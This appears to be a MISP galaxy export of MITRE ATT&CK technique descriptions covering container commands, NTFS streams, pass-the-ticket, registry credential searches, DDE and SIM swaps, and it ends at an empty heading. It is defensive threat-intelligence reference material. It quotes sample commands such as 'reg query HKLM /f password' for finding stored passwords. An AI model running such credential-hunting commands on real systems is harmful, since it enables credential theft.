https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx

Container Administration Command - T1609

Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)

In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)

The tag is: *misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609"*

Table 4057. Table References

Links
https://attack.mitre.org/techniques/T1609
https://docs.docker.com/engine/reference/commandline/dockerd/
https://docs.docker.com/engine/reference/commandline/exec/
https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime
https://kubernetes.io/docs/concepts/overview/kubernetes-api/
https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/

NTFS File Attributes - T1096

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096"*

View relationships graph

NTFS File Attributes - T1096 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 4058. Table References

Links
http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
http://msdn.microsoft.com/en-us/library/aa364404
https://attack.mitre.org/techniques/T1096
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

Permission Groups Discovery - T1069

Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.

The tag is: *misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"*

Table 4059. Table References

Links
https://attack.mitre.org/techniques/T1069
https://capec.mitre.org/data/definitions/576.html

https://kubernetes.io/docs/reference/access-authn-authz/authorization/

Windows Admin Shares - T1077

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.

Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

The [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077"*

View relationships graph

Windows Admin Shares - T1077 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 4060. Table References

Links
http://support.microsoft.com/kb/314984
https://attack.mitre.org/techniques/T1077
https://capec.mitre.org/data/definitions/561.html
https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts
https://en.wikipedia.org/wiki/Server_Message_Block
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
https://technet.microsoft.com/bb490717.aspx

https://technet.microsoft.com/en-us/library/cc787851.aspx

Pass the Ticket - T1097

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097"*

View relationships graph

Pass the Ticket - T1097 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

Table 4061. Table References

Links
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
https://adsecurity.org/?p=556
https://attack.mitre.org/techniques/T1097
https://capec.mitre.org/data/definitions/645.html
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf

Disabling Security Tools - T1089

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.

The tag is: *misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089"*

View relationships graph

Disabling Security Tools - T1089 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 4062. Table References

Links
https://attack.mitre.org/techniques/T1089
https://capec.mitre.org/data/definitions/578.html

Space after Filename - T1151

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

The tag is: *misp-galaxy:mitre-attack-pattern="Space after Filename - T1151"*

View relationships graph

Space after Filename - T1151 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Space after Filename - T1036.006" with estimative-language:likelihood-probability="almost-certain"

Table 4063. Table References

Links

https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
https://attack.mitre.org/techniques/T1151
https://capec.mitre.org/data/definitions/649.html

Escape to Host - T1611

Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)

There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host's filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.

The tag is: *misp-galaxy:mitre-attack-pattern="Escape to Host - T1611"*

Table 4064. Table References

Links
https://attack.mitre.org/techniques/T1611
https://docs.docker.com/get-started/overview/
https://docs.docker.com/storage/bind-mounts/
https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/
https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html

Create strategic plan - T1231

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1231).

Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)

The tag is: *misp-galaxy:mitre-attack-pattern="Create strategic plan - T1231"*

Table 4065. Table References

Links
https://attack.mitre.org/techniques/T1231

Capture SMS Messages - T1412

A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.

On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.

On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412"*

Table 4066. Table References

Links
https://attack.mitre.org/techniques/T1412

Credentials in Registry - T1214

The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
- Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214"*

View relationships graph

Credentials in Registry - T1214 has relationships with:

* revoked-by: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 4067. Table References

Links
https://attack.mitre.org/techniques/T1214
https://pentestlab.blog/2017/04/19/stored-credentials/

System Time Discovery - T1124

An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)

System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service)

This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)

The tag is: *misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"*

Table 4068. Table References

Links
https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/
https://attack.mitre.org/techniques/T1124
https://capec.mitre.org/data/definitions/295.html
https://msdn.microsoft.com/ms724961.aspx
https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf

Determine strategic target - T1241

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content

of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1241).

An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine strategic target - T1241"*

Table 4069. Table References

Links
https://attack.mitre.org/techniques/T1241

Standard Cryptographic Protocol - T1521

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521"*

Table 4070. Table References

Links
https://attack.mitre.org/techniques/T1521

Browser Bookmark Discovery - T1217

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.

The tag is: *misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217"*

Table 4071. Table References

Links

https://attack.mitre.org/techniques/T1217

Netsh Helper DLL - T1128

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike’s payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)

The tag is: *misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128"*

View relationships graph

Netsh Helper DLL - T1128 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"

Table 4072. Table References

Links
https://attack.mitre.org/techniques/T1128
https://github.com/outflankbv/NetshHelperBeacon
https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
https://technet.microsoft.com/library/bb490939.aspx

Remote Access Software - T1219

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)

Remote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219"*

Table 4073. Table References

Links
https://attack.mitre.org/techniques/T1219
https://blog.crysys.hu/2013/03/teamspy/
https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf

External Remote Services - T1133

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)

Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn't require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="External Remote Services - T1133"*

Table 4074. Table References

Links
https://attack.mitre.org/techniques/T1133

https://capec.mitre.org/data/definitions/555.html
https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Obfuscation or cryptography - T1313

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1313).

Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313"*

Table 4075. Table References

Links
https://attack.mitre.org/techniques/T1313

Access Token Manipulation - T1134

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134"*

Table 4076. Table References

Links
https://attack.mitre.org/techniques/T1134
https://capec.mitre.org/data/definitions/633.html
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
https://pentestlab.blog/2017/04/03/token-manipulation/
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf

Account Access Removal - T1531

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)

In Windows, [Net](https://attack.mitre.org/software/S0039) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the <code>passwd</code> utility may be used to change passwords. Accounts could also be disabled by Group Policy.

Adversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective.

The tag is: *misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531"*

Table 4077. Table References

Links
https://attack.mitre.org/techniques/T1531
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/

https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/

Network Share Discovery - T1135

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"*

Table 4078. Table References

Links
https://attack.mitre.org/techniques/T1135
https://capec.mitre.org/data/definitions/643.html
https://en.wikipedia.org/wiki/Shared_resource
https://technet.microsoft.com/library/cc770880.aspx

Office Application Startup - T1137

Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)

The tag is: *misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"*

Table 4079. Table References

Links
https://attack.mitre.org/techniques/T1137
https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/

https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
https://github.com/sensepost/notruler
https://github.com/sensepost/ruler
https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943

Dynamic Data Exchange - T1173

Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173"*

View relationships graph

Dynamic Data Exchange - T1173 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"

Table 4080. Table References

Links
https://attack.mitre.org/techniques/T1173
https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
https://technet.microsoft.com/library/security/4053440
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
https://www.contextis.com/blog/comma-separated-vulnerabilities

Obfuscate operational infrastructure - T1318

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1318).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscate operational infrastructure - T1318"*

Table 4081. Table References

Links
https://attack.mitre.org/techniques/T1318

Capture Clipboard Data - T1414

Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)

On Android, <code>ClipboardManager.OnPrimaryClipChangedListener</code> can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)

Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device's default input method editor (IME).(Citation: Android 10 Privacy Changes)

The tag is: *misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414"*

Table 4082. Table References

Links
http://saschafahl.de/static/paper/pwmanagers2013.pdf
https://attack.mitre.org/techniques/T1414
https://developer.android.com/about/versions/10/privacy/changes#clipboard-data
https://github.com/grepx/android-clipboard-security
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html

SIM Card Swap - T1451

An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)

One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)

The tag is: *misp-galaxy:mitre-attack-pattern="SIM Card Swap - T1451"*

Table 4083. Table References

Links
http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/
http://www.dos.ny.gov/consumerprotection/scams/att-sim.html
https://attack.mitre.org/techniques/T1451
https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/
https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam
https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html
https://techcrunch.com/2017/08/23/i-was-hacked/
https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters

URL Scheme Hijacking - T1415

An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).

The tag is: *misp-galaxy:mitre-attack-pattern="URL Scheme Hijacking - T1415"*

Table 4084. Table References

Links
http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html

https://attack.mitre.org/techniques/T1415
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html
https://tools.ietf.org/html/rfc7636
https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html
https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures

Clear Command History - T1146

